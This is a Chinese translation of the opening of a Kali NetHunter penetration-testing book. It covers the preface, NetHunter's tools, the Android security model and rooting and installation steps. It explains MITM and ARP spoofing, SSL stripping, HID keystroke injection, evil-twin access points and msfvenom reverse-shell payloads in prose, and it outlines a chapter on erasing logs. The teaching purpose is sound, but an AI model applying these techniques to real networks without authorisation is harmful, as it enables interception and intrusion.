Kali-NetHunter-渗透测试实用指南(全)

Kali NetHunter 渗透测试实用指南(全)

原文:annas-archive.org/md5/459BF96CB0C4FE5AC683E666C385CC38

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

《Kali NetHunter 实战渗透测试》专注于使用移动平台进行渗透测试,以模拟真实世界的攻击。Kali NetHunter 平台旨在在基于 Android 的设备上运行,如智能手机和平板电脑。其便携性使其成为一个有趣的话题,并为网络安全领域中的许多可能应用打开了大门。

本书的受众

本书适用于初入渗透测试职业的人员,以及已经在网络安全领域工作并希望进一步了解和掌握使用移动平台进行渗透测试的知识的人员。读者在开始阅读本书之前应具备一些渗透测试或网络安全的基础知识。

本书内容包括

第一章,“Kali NetHunter 简介”,介绍了 Kali NetHunter 并描述了其移动平台中的一些工具。您将了解 Android 平台及其安全模型,最后学习如何在 Android 设备上安装 Kali NetHunter 平台。

第二章,“了解渗透测试过程的各个阶段”,介绍了数字世界中进行渗透测试的重要性和必要性。您将了解组织内不同类型的威胁行为者和网络安全团队。此外,您将通过了解各个阶段和各种框架来学习渗透测试的基础知识。

第三章,“情报收集工具”,探讨了渗透测试人员可以使用的各种方法和资源来获取有关目标的信息。

第四章,“扫描和枚举工具”,概述了扫描和枚举。您将了解各种扫描技术和工具,以更好地对目标进行概况。此外,使用多种技术和工具,您将能够通过枚举过程从目标中提取信息。

第五章,“渗透目标”,涵盖了成功利用系统并获取访问权限的一些顶级技巧。通过本章结束时,您将能够使用各种技术来获取对目标的访问权限。

第六章,“清除痕迹和删除目标上的证据”,介绍了作为渗透测试人员清除痕迹的重要性。您将了解各种类型的日志及其位置,以及一些实用程序和工具,以帮助清除日志数据,并从 Windows 和 Linux 系统中删除文件。

第七章,“数据包嗅探和流量分析”,探讨了各种数据包嗅探技术、工具和设备。在本章结束时,您将能够使用 Kali NetHunter 中的一些本地工具进行数据包嗅探。此外,您还将学习如何使用一些非常知名的工具来分析数据。

第八章,“针对无线设备和网络”,涵盖了无线网络的类型、标准和拓扑结构。您将了解到无线网络上发生的各种威胁和攻击,并能够自己执行这些攻击。

第九章,“避免被检测”,涵盖了渗透测试人员需要了解和理解的基本知识,以便在渗透测试过程中使用各种技术保持隐秘。

第十章,“加固技术和对策”,涵盖了数字世界中常见的威胁,并解释了如何保护网络设备、客户端和服务器操作系统以及移动设备。

第十一章,搭建实验室,介绍了设置个人渗透测试实验室环境的要求和过程,以及如何组装它。

第十二章,选择 Kali 设备和硬件,帮助您选择适合 Kali NetHunter 的设备。

充分利用本书

在开始阅读本书之前,建议您至少具备基本的网络安全知识。您应该了解网络安全领域的网络安全概念和威胁。在本书的实际操作中,我们在 Android 智能设备上同时使用了 Kali Linux 和 Kali NetHunter。第一章介绍了在 Android 上安装 Kali NetHunter。

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/9781788995177_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。以下是一个例子:“我通常将文件名指定为 HTML 文件,例如test.html。”

任何命令行输入或输出都是按照以下方式编写的:

apt-get install metagoofil

粗体:表示一个新术语、一个重要词或者屏幕上显示的词。例如,菜单中的单词或对话框中的单词会以这种形式出现在文本中。以下是一个例子:“转到设置 | 开发者选项,并启用高级重启Android 调试选项。”

警告或重要提示会出现在这样的形式中。

提示和技巧会以这种形式出现。

第一部分:探索 Kali NetHunter

本章将介绍 Kali NetHunter 和 Android,以及 Kali NetHunter 设计的硬件平台。

本节涵盖以下章节:

  • 第一章,介绍 Kali NetHunter

  • 第二章,理解渗透测试过程的阶段

第一章:Kali NetHunter 简介

黑客是一个许多人感兴趣的讨论话题,无论他们是在网络安全领域工作,还是仅仅对学习如何进行黑客攻击的细节感兴趣。通常,电视节目和电影都会将黑客融入情节中。一些电视节目,无论是虚构的还是非虚构的,都是基于黑客攻击的,其中一个著名的就是《黑客军团》。在这个节目中,一个年轻人使用真实世界的技术对多个组织进行各种网络攻击。

许多电视节目和电影经常展示黑客使用移动设备或其他手持设备渗透目标网络。这引发了一个问题:从移动设备,比如手机,进行黑客攻击是否可能?这个问题的答案是。我们被如此多的技术和智能设备所包围。想象一下使用你的智能设备来测试网络或系统的漏洞,甚至利用它;这绝对会非常酷。

在本章中,我们将涵盖以下主题:

  • 介绍 Kali NetHunter

  • Android 平台和安全模型

  • 安装 Kali NetHunter

什么是 Kali NetHunter?

在开始本节之前,让我们回顾一下最受欢迎的渗透测试 Linux 发行版 Kali Linux 的历史和演变。在备受欢迎的 Kali Linux 之前,有它的前身,被称为Backtrack。Backtrack 是由两家合并公司Auditor Security CollectionWhax在 2006 年创建的。Backtrack 操作系统以 Live CD 和 Live USB 可启动媒体的形式存在,这使得渗透测试人员、系统管理员或黑客可以使用支持从 CD/DVD 和/或 USB 驱动器引导的任何计算机。由于 Backtrack 是基于 Linux 的操作系统,live boot简单地将任何计算机变成了网络上的黑客机器。

2011 年,Backtrack 演变成了它的最新版本,被称为Backtrack 5。在这个时候,Backtrack 包括了许多工具和实用程序,帮助渗透测试人员完成工作。

Backtrack 5 中的一些工具包括以下内容:

  • Metasploit:由 Rapid7(www.rapid7.com)创建的著名漏洞利用开发框架。

  • SAINT:由 SAINT Corporation(www.saintcorporation.com)开发的著名漏洞评估工具。

  • Maltego:由 Paterva(www.paterva.com)创建的信息收集工具,利用互联网上的各种资源利用数据挖掘技术。

2013 年,Backtrack 发行版经历了一次重大变化;所有支持都已经结束,同时演变成了我们今天所熟知的Kali Linux渗透测试 Linux 发行版。Kali Linux 的创建者Offensive Securitywww.offensive-security.com)从头开始完全重新设计了 Backtrack,使其基于Debian。Kali Linux 渗透测试平台预装了 600 多个工具,可以帮助渗透测试人员、安全工程师或取证人员完成他们的工作。

Kali Linux 最初是设计用于在计算机系统上运行,类似于其前身,无论是 Live Boot(CD/DVD 或 USB)还是安装在本地硬盘驱动器上。2014 年,Kali Linux 的创建者 Offensive Security 发布了Kali NetHunter。这个平台发布在基于Android的设备上,这为全球的渗透测试人员提供了更大的机会,因为他们不再受限于使用台式机或笔记本电脑来测试目标系统和网络。

Kali NetHunter 允许渗透测试人员简单地携带基于 Android 的设备,比如智能手机或平板电脑。想象一下,如果你被分配对客户的系统进行安全审计,特别是他们的无线和内部网络,而你只需要携带一个智能手机就可以进行审计,那将是多么棒的事情。

使用 NetHunter 进行渗透测试的一个示例场景是审计无线安全性,并测试组织网络中任何自带设备BYOD)政策的安全性。能够通过手持设备进行渗透测试非常重要,因为无线安全配置对网络来说具有最多的安全漏洞。

有时,技术人员可能在网络上部署无线路由器或接入点AP),同时保留默认配置,其中包括默认或工厂分配的密码。在本书的过程中,我们将探讨使用 Kali NetHunter 执行渗透测试的各种方法,以及如何利用可用的工具库对网络和系统执行成功的渗透测试。

Kali NetHunter 中的工具

Kali NetHunter 平台具有 Kali Linux 中不可用的额外资源。这些额外资源是专注的渗透测试人员手中的强大工具。

MAC 地址更改器

这个实用程序的名称说明了一切:它可以将设备的网络接口卡NIC)的媒体访问控制(MAC)地址更改为随机值或测试人员定义的特定地址。Kali NetHunter 上的 MAC 地址更改器还具有更改设备主机名的额外功能。这是一个非常有用的功能,可以帮助渗透测试人员进行社会工程攻击:

image

中间人框架

在执行网络上的所有中间人攻击时,使用中间人MITM)框架的工具和实用程序。中间人攻击是指黑客坐在受害者和另一台设备之间,例如连接到互联网的默认网关。攻击的目的是拦截沿路径的所有流量。从 PC 到互联网的所有流量应该直接发送到路由器(默认网关),但在网络上有攻击者时,他们可以欺骗受害者的 PC,使其认为攻击者的机器现在是路由器(默认网关),并欺骗路由器认为攻击者的机器是 PC:

image

这是渗透测试人员的强大工具。它的一些功能包括键盘记录、地址解析协议ARP)缓存投毒攻击、欺骗和使用 SSLStip+功能进行 SSL 剥离攻击。以下是 NetHunter 上 MITM 框架的主窗口:

image

在右侧滑动,您将遇到另一个部分,欺骗设置,它将允许渗透测试人员轻松执行网络上的中间人攻击:

image

HID 攻击

人机接口设备HID)攻击将 Kali NetHunter 设备,如支持USB On-The-GoOTG)的智能手机,转换为预编程键盘。如果渗透测试人员使用 OTG 电缆在 Kali NetHunter 设备和目标计算机之间创建物理连接,NetHunter 就具有创建攻击向量的能力。该向量利用手机的硬件和软件组合创建预编程键盘。预编程键盘的目的是将脚本攻击注入目标系统。

根据 Kali NetHunter 的官方文档,USB HID 攻击仅适用于Teensy设备。Teensy 设备可以在www.pjrc.com/teensy/找到。

DuckHunter HID

USB Rubber Ducky 是由Hak5团队(www.hak5.org)创建的。它旨在将超过每分钟 1,000 个字的有效载荷注入目标设备。Kali NetHunter 允许渗透测试人员编写自定义或使用现有的ducky脚本,并简单地使用 DuckHunter HID 攻击功能将 ducky 脚本转换为 NetHunter HID 攻击格式。

为 USB Rubber Ducky 创建有效载荷,请访问ducktoolkit.com/获取更多信息。

Kali NetHunter 支持将USB Rubber Ducky脚本转换为 NetHunter 的 HID 攻击。什么是 USB Rubber Ducky?USB Rubber Ducky 是一种基于硬件的按键注入工具,看起来像一个 USB 闪存驱动器。

以下是 USB Rubber Ducky 的图片。正如我们所看到的,这只小鸭子有一个带可移动微型 SD 存储卡的主板。当它插入计算机的 USB 端口时,USB Rubber Ducky 会接收电源。接收电源后,小鸭子主板上的固件会检查微型 SD 存储卡上是否有任何有效载荷。普通的 USB 闪存驱动器不支持模块化形式,因此 USB 闪存驱动器不允许用户用微型 SD 卡扩展或替换闪存存储:

image

BadUSB MITM 攻击

到目前为止,您可能已经注意到 Kali NetHunter 平台上一些惊人的基于 HID 和 USB 的攻击。BadUSB MITM 攻击允许渗透测试人员简单地使用 OTG 电缆在受害者计算机和 NetHunter 设备之间创建物理连接。一旦建立连接,所有离开受害者计算机的网络流量将被发送到 NetHunter 设备:

image

这种类型的攻击被称为中间人MITM)攻击,因为 NetHunter 设备将自己植入在受害者计算机和互联网或任何其他正在传输数据的网络之间。

MANA 无线工具包

即使您刚开始进行渗透测试,您可能也听说过一个名为Aircrack-ng的无线安全审计框架。Kali NetHunter 上的 MANA 无线工具包的功能类似于 Aircrack-ng。MANA 可以创建一个恶意的双重接入点并执行 MITM 攻击。

恶意双胞胎是黑客在组织中植入的未经授权的 AP。其目标是欺骗不知情的员工建立连接,并在网络上传输敏感信息。使用恶意双胞胎,黑客可以轻松地拦截和重定向用户的流量。

这个工具允许渗透测试人员在创建恶意双胞胎时配置以下内容:

  • 基本服务集标识符BSSID):BSSID 是无线路由器或 AP 的媒体访问控制MAC)。

  • 服务集标识符SSID):SSID 是无线网络的名称,可以被笔记本电脑、智能手机、平板电脑等设备看到。

  • 信道:信道也被称为频谱上的无线频段。

软件定义无线电

软件定义无线电SDR)功能允许渗透测试人员结合使用HackRF设备(物理组件)和 Kali NetHunter Android 设备,使用各种无线电频率和空间。SDR 黑客攻击允许恶意用户监听无线电频率,从而拦截警察扫描仪、飞机无线电传输等。

网络映射器

渗透测试人员的工具包离不开流行的网络扫描工具网络映射器Nmap)。这被称为网络扫描之王,因为它的功能远远超出了典型的网络扫描工具。扫描允许渗透测试人员对目标进行概要分析,帮助识别操作系统以及开放和关闭的端口,检测漏洞,确定正在运行的应用程序的服务版本等等。

以下是 NetHunter 应用程序上 Nmap 扫描菜单提供的选项:

image

NMap 有很多好处:

  • 可以确定目标的操作系统

  • 检测 TCP 和 UDP 端口

  • 通过执行横幅抓取来检测服务版本

  • 检测目标设备对各种利用和恶意软件的漏洞

  • 可以使用诱饵功能来减少被发现的机会

Metasploit 有效载荷生成器

渗透测试中最具挑战性的阶段之一是利用或获取访问权限阶段。有时,渗透测试人员可能会使用Metasploit Framework(MSF)中的现有利用;然而,如果目标系统已打补丁以防止此类攻击,利用很可能会失败。在 MSF 中有msfvenom有效载荷生成器实用程序,它允许渗透测试人员创建定制的有效载荷。

Metasploit Payload Generator 允许渗透测试人员使用以下选项轻松创建有效载荷:

  • 输出类型,如 ASP、Bash(.sh)、PHP、Powershell(.ps1)、Python(.py)、Windows(.exe)等。此功能允许为特定平台制作有效载荷。

  • 设置 IP 地址和端口号。

  • 负载选项可以是默认的 MSF 格式或命令提示符(CMD)。

以下是 Kali NetHunter 上 Metasploit 有效载荷生成器的界面,我们可以看到各种可用的选项,以及使用该应用程序创建有效载荷是多么简单。完成后,有效载荷可以发送到我们 Android 设备上的本地存储或 HTTP 地址:

image

创建的有效载荷可以是以下形式:

  • 逆向连接或绑定:当受损时,受害者的终端(shell)被发送回攻击者,这被称为逆向连接。当攻击者成功地侵入目标系统时,绑定 shell 就会发生,它会自动获取一个 shell。

  • 分阶段或无分阶段:在分阶段有效载荷中,利用发生在多个阶段。攻击向目标系统发送初始有效载荷;一旦受损,其余有效载荷将下载到受害者的系统上。在无分阶段有效载荷中,一个有效载荷被制作,具有所有功能,并发送给潜在受害者。

Searchsploit

渗透测试人员有时可能需要一个已知的、可用的利用来攻击目标系统上的特定漏洞。Exploit-DBwww.exploit-db.com)是由Offensive Security团队(www.offensive-security.com)维护的一个流行的利用存储库。Exploit-DB 包含许多由其社区开发和测试的利用,包括网络安全渗透测试人员和漏洞研究人员。

searchsploit工具允许渗透测试人员简单地搜索并直接下载利用到他们的 Kali NetHunter 设备上。该工具查询用户输入的任何搜索参数在 Exploit-DB 官方存储库中。一旦下载了利用,渗透测试人员可以按原样交付有效载荷,或者自定义以适应目标:

image

SearchSploit 的完整手册可以在www.exploit-db.com/searchsploit找到。

Android 平台和安全模型

Android 是一种基于修改版 Linux 的流行移动操作系统。另一个好处是开源,这为开发人员和爱好者提供了在 Android 上创建自定义应用程序和修改的机会。基于 Linux 有很多好处,比如运行各种基于 Linux 的工具和实用程序。

当时,市场上有许多竞争对手,其中一些是使用 WebOS 操作系统的惠普(HP)、苹果的 iOS、微软的 Windows Phone 操作系统、黑莓的研究动态(RIM)操作系统和一些第一代手机制造商使用的 Symbian OS,如诺基亚。

Android 架构

与所有操作系统一样,Android 的架构可以分为层,其中包括架构的所有组件,如下所示:

image

应用程序层

应用程序层包含移动设备的应用程序。这些应用程序包括浏览器、拨号器、联系人、时钟和闹钟,通常显示在主屏幕上。

应用程序框架层

应用程序框架层允许基于 Android 的应用程序(如拨号器)与应用程序框架进行接口,后者又管理资源和语音通话管理的基本移动功能。

以下组件驻留在 Android 操作系统的应用程序框架中:

  • 包管理器:跟踪当前安装的基于 Android 的应用程序。

  • 活动管理器:处理设备上所有正在运行的应用程序的生命周期。

  • 内容提供程序:允许应用程序之间共享数据。

  • 电话管理器:负责在设备上建立、维护和终止通话。

  • 位置管理器:管理位置功能,如全球定位系统GPS)。

  • 资源管理器:负责设备上应用程序使用的资源类型。

  • 通知管理器:在设备屏幕上显示通知和警报。

  • Java API 框架:允许开发人员使用 Java 编程语言编写应用程序。该框架允许 Android 操作系统执行这些应用程序。

Android 库

Android 使用用 C 和 C++编写的本地库,负责处理移动操作系统中的各种数据类型。

以下是它使用的一些库:

  • 媒体框架:负责提供各种类型的媒体编解码器,允许记录和播放所有媒体类型,如 MP3 和 WAV。

  • SQLite:用于 Android 设备中的数据存储的数据库。

  • OpenGL/ES & SGL:处理设备屏幕上的 2D 和 3D 计算机图形的渲染。

  • WebKit:通过使用 Web 浏览器的引擎来显示网页。

Android Runtime

Android RuntimeART)允许每个单独的应用程序在其自己的进程和实例中执行,就像桌面上的虚拟机一样。ART 旨在在低内存设备(如智能手机和平板电脑)上运行这些“虚拟实例/机器”。

内核

最重要的是,我们不能忘记 Android 操作系统背后的大脑,即内核,它负责与手持设备的硬件组件进行接口。Android 基于 Linux 操作系统的当前长期支持内核。在开发 Android 时,Linux 内核被修改以更好地满足移动操作系统的需求和功能。内核的修改之一是防止用户在 Android 平台上安装原始的 Linux 软件包。

Android 安全模型

为了更好地了解 Android 的安全状况,我们将深入了解 Android 背后的安全模型。我们将看看 Google 和 Android 团队如何采取额外步骤来保护 Android 设备及其用户的生态系统。

保护开源操作系统存在着挑战,Android 使用多层安全系统来保护其用户和平台。每个 Android 设备通常都有一组由 Google 提供的安全服务,让我们来看看其中一些。

Android 设备管理器

Android 设备管理器是一个网页应用程序和移动应用程序,可用于跟踪您的 Android 智能手机或平板电脑。它可以播放声音,通过远程应用锁定屏幕来保护设备,从 Google 帐户远程注销您的 Android 设备,在锁定屏幕上显示消息,并在设备丢失时远程擦除设备。

要访问 Android 设备管理器的功能,只需在计算机上访问 Google Play 商店,或者使用智能设备上的 Google Play 应用程序搜索Android 设备管理器Google 查找我的设备,如下图所示:

image

登录后,您将看到所有可用的功能:

image

安全网

SafetyNet 保护基于 Android 的设备免受安全威胁,例如恶意 URL、任何潜在有害的应用程序和恶意软件感染,以及检测设备是否已获取 root 权限。它通过不断监视设备上的应用程序和服务,保护用户免受任何威胁。

验证应用程序

Android 操作系统可以检测到设备上运行的有害应用程序,或者试图安装在设备上。此功能将通知用户,或者自动阻止应用程序在设备上执行。此功能利用 Google Play Protect 的功能,定期扫描设备上当前安装的应用程序,以及用户试图安装的应用程序,以查找任何恶意迹象。此功能存在于 Android 操作系统的安全性中。

Google 不断监视应用程序;如果检测到应用程序是恶意的,将在 Android 设备的屏幕上显示通知,鼓励用户卸载它。这确保了 Android 用户的安全和隐私得到维护。

应用程序服务

应用程序服务允许基于 Android 的本地安装在设备上的应用程序利用基于云的服务和功能。基于云的服务和功能的一个例子是数据备份。应用程序服务的一个例子是 Android 设备设置菜单中的备份和重置功能。在用户的许可下,Android 可以自动将其设置备份到 Google 设备,因此在设备进行恢复出厂设置时,配置可以轻松地恢复。此外,应用程序服务始终有许多 Android 应用程序来支持云备份和恢复功能。

Android 更新

此功能负责检查和检索新软件版本的 Android 更新。这些更新通常由 Android 开发团队创建。智能手机制造商可以修改更新以适应其设备,并通过OTA(空中)更新将其推送到各种设备,或者将其发布在其支持页面上,允许用户手动下载和更新其设备。

更新对设备的安全性非常重要。更新通常用于添加新功能,并修复操作系统上的任何安全漏洞。Android 具有安全特定的更新,这些更新是模块化的,因此提供了智能手机制造商更快地推送安全更新的灵活性,同时花费更多的开发时间来更新不那么重要的更新。

Google Play 商店

Google Play 商店是 Android 设备的官方应用程序商店。Google Play 服务通过 Google Play 商店提供购买应用程序的许可验证,并对恶意应用程序进行持续的安全扫描。

Google Play Protect

Google Play Protect 是由 Google 为 Android 创建的移动威胁保护服务。该服务包括内置的恶意软件保护,使用 Google 设计的机器学习技术和算法。

以下是 Android 智能手机上 Google Play Protect 屏幕的截图;它显示了用户可以手动启用或禁用的两个功能:

image

正如我们所看到的,Google Play Protect 将定期扫描本地设备,以查找潜在的有害应用程序和威胁。因此,用户不需要干预-这个过程对我们来说是自动化的。

安装 NetHunter

Kali NetHunter 最初是为 Google Nexus 设备创建的,如Nexus 4Nexus 5智能手机以及Nexus 7Nexus 10平板电脑。后来,它扩展到了OnePlus One智能手机,Offensive Security 表示这是首选的 NetHunter 设备。截至目前,Kali NetHunter 支持来自各种制造商的各种设备,如 Google、OnePlus、三星、LG、HTC 和索尼。让我们看看如何在 Android 设备上安装 Kali NetHunter(在您的设备上安装 Kali NetHunter 之前,请检查www.offensive-security.com/kali-linux-nethunter-download/上支持的设备列表,或在 Offensive Security Kali NetHunter GitHub 存储库的支持设备和 ROM 列表github.com/offensive-security/kali-nethunter/wiki):

  1. www.offensive-security.com/kali-linux-nethunter-download下载您设备的 Kali NetHunter 的官方版本。下载的文件应该是压缩的。在继续之前,请确保验证哈希值。如果哈希值不匹配,请不要使用。如果您想创建 Kali NetHunter 的自定义版本,请参阅为特定设备构建 Kali NetHunter部分。

  2. 解锁您的 Android 设备。在 Android 设备上安装 Kali NetHunter 时,安装将在 Android 操作系统之上进行。请确保在执行以下步骤之前在计算机上安装和配置了必要的 Android 驱动程序。为此,请确保您的计算机上安装了Android Studio的副本。此软件可在developer.android.com/studio找到。Android Studio 将确保设备驱动程序已正确安装并且兼容。

  3. 将您的设备设置为开发者模式。转到设置|关于,然后点击版本号几次,直到看到通知显示开发者模式已启用。

  4. 转到设置|开发者选项,并启用高级重启和 Android 调试选项:

image

  1. 对您的设备进行 Root(适用于 Nexus 和 OnePlus)。如果您使用的是Nexus设备,您可以使用Nexus Root Toolkitwww.wugfresh.com/nrt/)。Root 工具包是一个多合一工具,可用于安装设备驱动程序,解锁设备的引导加载程序,并安装自定义恢复工具,如Team Win Recovery Project (TWRP)

image

  1. 选择初始设置选项、完整驱动程序安装指南,并按照安装程序向导进行操作。

  2. 如果您的设备未解锁,请解锁引导加载程序。此过程将擦除整个设备。在执行此步骤之前,请务必创建设备的备份。

  3. 让我们来root您的 Android 设备。点击Root。如果您使用的是 Nexus,您将在屏幕上看到一个复选框,旁边是Custom Recovery,请确保取消选择它。

  4. 您的设备将自动重新启动。要验证您的设备是否已成功 Root,请在设备菜单中看到名为SuperSU的新图标/应用程序。打开该应用程序将验证您的设备的状态,无论是否已授予 Root 访问权限。

对于 OnePlus 设备,有一个专门为该设备制作的特定 root 工具,称为Bacon Root Toolkitwww.wugfresh.com/brt/)。此外,Offensive Security 团队提供了一个详细的在 Windows 和 Linux 上安装 Kali NetHunter 的过程。该指南可以在github.com/offensive-security/kali-nethunter/wiki/Windows-install找到。如果您使用 Linux,请访问github.com/offensive-security/nethunter-LRT

  1. 前往 Google Play 商店并安装BusyBox应用程序:

image

  1. 安装TWRP Manager应用程序。您还可以从twrp.me下载 APK 安装 TWRP。

image

安装完两个应用程序后,打开每个应用程序以确保它们正常运行。如果需要超级用户权限,只需选择授予或允许。

  1. 复制 Kali NetHunter 镜像并粘贴到设备的根目录中。现在是安装自定义恢复的时候了。

  2. 打开TWRP Manager应用程序并选择安装恢复版本选项。要开始安装,请点击安装恢复

  3. 从提供的选项中重新启动设备:

image

  1. 点击安装并在目录中选择 Kali NetHunter 镜像 ZIP 文件。此时,自定义恢复将闪存 Kali NetHunter 到您的设备并自动重新启动。

为特定设备构建 Kali NetHunter(可选)

许多智能手机制造商,如 OnePlus、三星、谷歌和 LG,每年都会生产各种手机。您可能会想,我需要购买另一款基于 Android 的智能手机来托管 Kali NetHunter 平台吗? 答案很简单:不需要。我们提供的好处之一是能够为我们的 Android 设备构建 NetHunter 的自定义版本。在步骤 3中,您将能够选择设备类型和您的智能手机当前运行的 Android 版本;这是为了确保输出文件与您的 Android 手机兼容。

如果您想从官方 GitHub 存储库构建自己的 Kali NetHunter 镜像,请使用以下步骤:

  1. 使用git clone https://github.com/offensive-security/kali-nethunter命令下载存储库:

image

  1. 确保使用cd kali-nethunter/nethunter-installer命令将目录更改为新文件夹。接下来,在终端上运行./bootstrap.sh命令。在尝试下载系统上设备文件夹之前,将会有一个交互式提示,询问一些问题:

image

  1. 使用python build.py –h命令查看为您的设备构建自定义 Kali NetHunter 镜像的可用选项:

image

要构建镜像,我们可以使用python build.py -d *<device>* --*<android version>*语法。

如果要为运行 Android Kitkat 的 Nexus 7(2013)设备构建 Kali NetHunter,可以使用python build.py –d flo –kitkat命令。

  1. 构建完成后,输出将是一个存储在nethunter-installer目录中的.zip文件。只需将.zip文件复制到 Android 设备的根文件夹中,因为它将需要移动到 Kali NetHunter 中。

要快速定位目录中的.zip文件,请使用ls –l |grep .zip命令仅查看 ZIP 文件。

其他可选硬件

作为一名经验丰富或即将成为网络安全领域的渗透测试人员,您的工具和组件库如果没有外部网络接口卡(NIC)来在 IEEE 802.11 无线网络上进行数据包注入,就不完整。列表中的每个项目都是 Offensive Security 团队推荐的,因为它们与标准基于 Android 的移动设备大多兼容。这些外部 NIC 将允许渗透测试人员执行各种无线攻击,例如以下内容:

  • 窃听,即监听目标的无线网络

  • 捕获网络流量以供以后分析,其中包含可能通过网络传递的机密信息

  • 捕获 WPA 握手以尝试执行各种密码破解技术

  • 去认证攻击

每个外部 NIC 都包含芯片组,允许 Kali Linux 和 Kali NetHunter 操作系统启用监控模式来执行这些攻击。

以下是 Kali NetHunter 使用 Android 智能手机支持的外部无线网络接口卡(NIC)列表:

  • Atheros - ATH9KHTC(AR9271,AR7010)

  • Ralink - RT3070

  • Realtek - RTL8192CU

  • TP-Link TL-WN722N

  • TP-Link TL-WN822N v1 - v3

  • Alfa Networks AWUS036NEH

  • Alfa Networks AWUS036NHA

  • Alfa Networks AWUSO36NH

  • Panda PAU05 Nano

以下是 TL-Link TL-WN722N 无线 NIC 的图片:

image

由于其便携性和在 Kali Linux 平台上的易用性,Alfa Networks 适配器在渗透测试人员中很受欢迎。以下是 Alfa Networks AWUS036NHA 适配器的图片,支持 IEEE 802.11 b/g/n 标准和最高速度达 150 Mbps:

image

总结

在本章中,我们探讨了使用智能手机或平板电脑等手持设备进行渗透测试的好处和便利性。然后我们介绍了 Kali Linux 的移动平台 NetHunter。我们讨论了预装在 Kali NetHunter 平台上的独特工具和实用程序。我们了解了 Android 安全模型并探讨了其安全功能,这些功能旨在帮助保护 Android 用户。我们结束了本章,介绍了如何安装 Kali NetHunter。

在下一章中,我们将探讨渗透测试的方法和阶段。

第二章:了解渗透测试过程的阶段

信息技术IT)的早期,人们不需要担心系统中的任何安全威胁或漏洞。随着技术和移动设备的进步,很多人寻求了解如何利用计算系统和网络。互联网的创建是一个重要的里程碑,它改善了信息的共享和可用性,不仅在一个机构内部,而且在全球范围内。随着信息和知识变得更加容易获得,很多人在数字世界中利用它来进行良性和恶性的活动。

想象一个人只是坐在家里上网,研究如何利用另一个人的计算机或网络上的漏洞/弱点。这真的很可怕,不是吗?一个简单的例子是一个在组织内担任行政人员的不满员工,他对网络安全或计算机领域不了解。这个不满的员工可能想在离开公司时对组织造成伤害,比如破坏公司本地文件服务器中存储的数据。如果他们决定在空闲时间研究各种黑客技术,这最终可能会变成一种内部威胁。

在网络安全领域,渗透测试对许多 IT 专业人士来说是一条非常有趣的道路。让这个过程如此有趣的是,渗透测试人员必须发现许多成功利用系统的方法。有时,一个漏洞可能在一个客户或目标系统上起作用,但在另一个系统上却不起作用。这就是渗透测试人员创造性思维最需要的地方。就我个人而言,我喜欢尝试进入一个看起来有点具有挑战性的系统(作为渗透测试人员);如果一切都容易被黑客入侵,那还有什么乐趣呢?

在本章中,我们将涵盖以下主题:

  • 在网络安全领域中,什么是渗透测试?

  • 渗透测试方法论

  • 渗透测试的阶段

  • 使用方法或过程的动机

  • 进行渗透测试的预期交付成果

让我们开始吧!

渗透测试的需求

在计算机发展的早期,黑客这个词是用来形容那些在计算机系统上有非凡技能的人。这种人通常被称为计算机高手。如今,黑客这个词是用来形容那些利用计算机进行某种恶意行为或对个人、组织或系统造成伤害的人。

随着新的威胁每天不断出现,黑客们装备了一系列工具和资源,对网络安全专业人员的需求非常高。组织意识到他们的资产面临风险,需要保护免受任何恶意行为者的侵害,无论是内部还是外部。组织寻求了解和发现其系统中的漏洞,如计算机、服务器、交换机、路由器、防火墙、终端设备和员工。公司很快意识到需要聘请网络安全专家来帮助提高组织的安全姿态。渗透测试人员的角色就此在网络安全领域中产生。

黑客的类型

如果你问几个黑客他们黑客背后的意图或动机是什么,你可能会得到不同的答案。人们做恶意的事情有很多原因;在网络安全领域也是如此。有些人喜欢为了好玩而黑客,有些人为了钱而黑客,而其他人则是为了对抗一个国家或地区内的政客而这样做。

白帽

白帽黑客在网络安全领域只是好人。他们利用自己的黑客技能和技术来帮助分析威胁,测试系统和网络,并实施缓解措施。

灰帽黑客

灰帽骇客处于 IT 安全的攻击和防御两端。这群骇客利用他们的知识和技能做好事和坏事。

黑帽

黑帽骇客是一个具有非常独特技能的人,利用他们的知识进行恶意活动。

脚本小子

在渗透测试领域开始时,大多数骇客和专业人士通常从一个脚本小子开始。脚本小子是一个不熟练的骇客,他使用其他骇客的脚本和工具,主要是图形用户界面(GUI)工具来破坏目标系统或网络。

自杀骇客

自杀骇客是一个目标是不惜一切代价摧毁目标系统的骇客,即使这意味着受到法律惩罚。

骇客活动分子

正如你可能知道的,活动人士是为社会或政治议程而奋斗的人。有些活动人士反对动物虐待。在数字世界中,有一些骇客活动人士反对各种议程。骇客活动人士是利用他们的技能来推动社会或政治议程的骇客。一个著名的骇客活动人士团体的例子是众所周知的匿名骇客团体。

国家赞助的骇客

这群骇客通常是由一个国家的政府为了发动网络战争攻击和对另一个国家进行侦察而创建的。

渗透测试

有时在面试中,管理团队可能会问面试者:“为什么我们要雇佣一个骇客?”管理层有时认为具有骇客技能的人会是一个巨大的安全风险,这是准确的。然而,另一个问题出现了:为什么他们不雇佣一个骇客?一个具有骇客技能和善良心灵的人可以利用他们的知识来帮助防止内部和外部安全威胁,并发现组织系统和网络基础设施中的任何隐藏缺陷。

道德骇客,或白帽骇客,通常是指利用他们的信息安全专业知识和渗透组织的系统和网络的能力的人。道德骇客或渗透测试人员发现隐藏的漏洞,并模拟真实世界的攻击来测试组织的安全系统和减轻控制。然而,道德骇客/渗透测试人员必须在进行任何安全测试之前获得客户和相关当局的合法许可。

白帽骇客,道德骇客和渗透测试人员是一样的;这些术语可以互换使用。

为什么有人要对网络或系统进行渗透测试?许多组织认为他们的网络和资产对坏人(骇客)是安全的,但实际上并非如此。正如思科系统前任执行主席兼首席执行官曾经说过的:“有两种公司:被黑客攻击过的和不知道自己被黑客攻击过的。”通常,许多组织并不知道他们的网络上发生了安全漏洞,而发现的时间通常是攻击发生后数月。到那时,攻击者可能已经能够窃取大量数据,创建新的后门,并在公司中植入高级持续威胁(APT)。

要打败一个黑客,你必须像他们一样思考。这就是渗透测试人员的角色。渗透测试人员会发现内部安全团队可能忽略的常规和隐藏的漏洞,并对组织的系统和网络进行模拟真实世界的攻击,以利用发现的任何漏洞。在恶意黑客之前发现缺陷和弱点可以让组织在实施预防和减轻技术和网络控制方面占据上风,从而减少组织的攻击面。

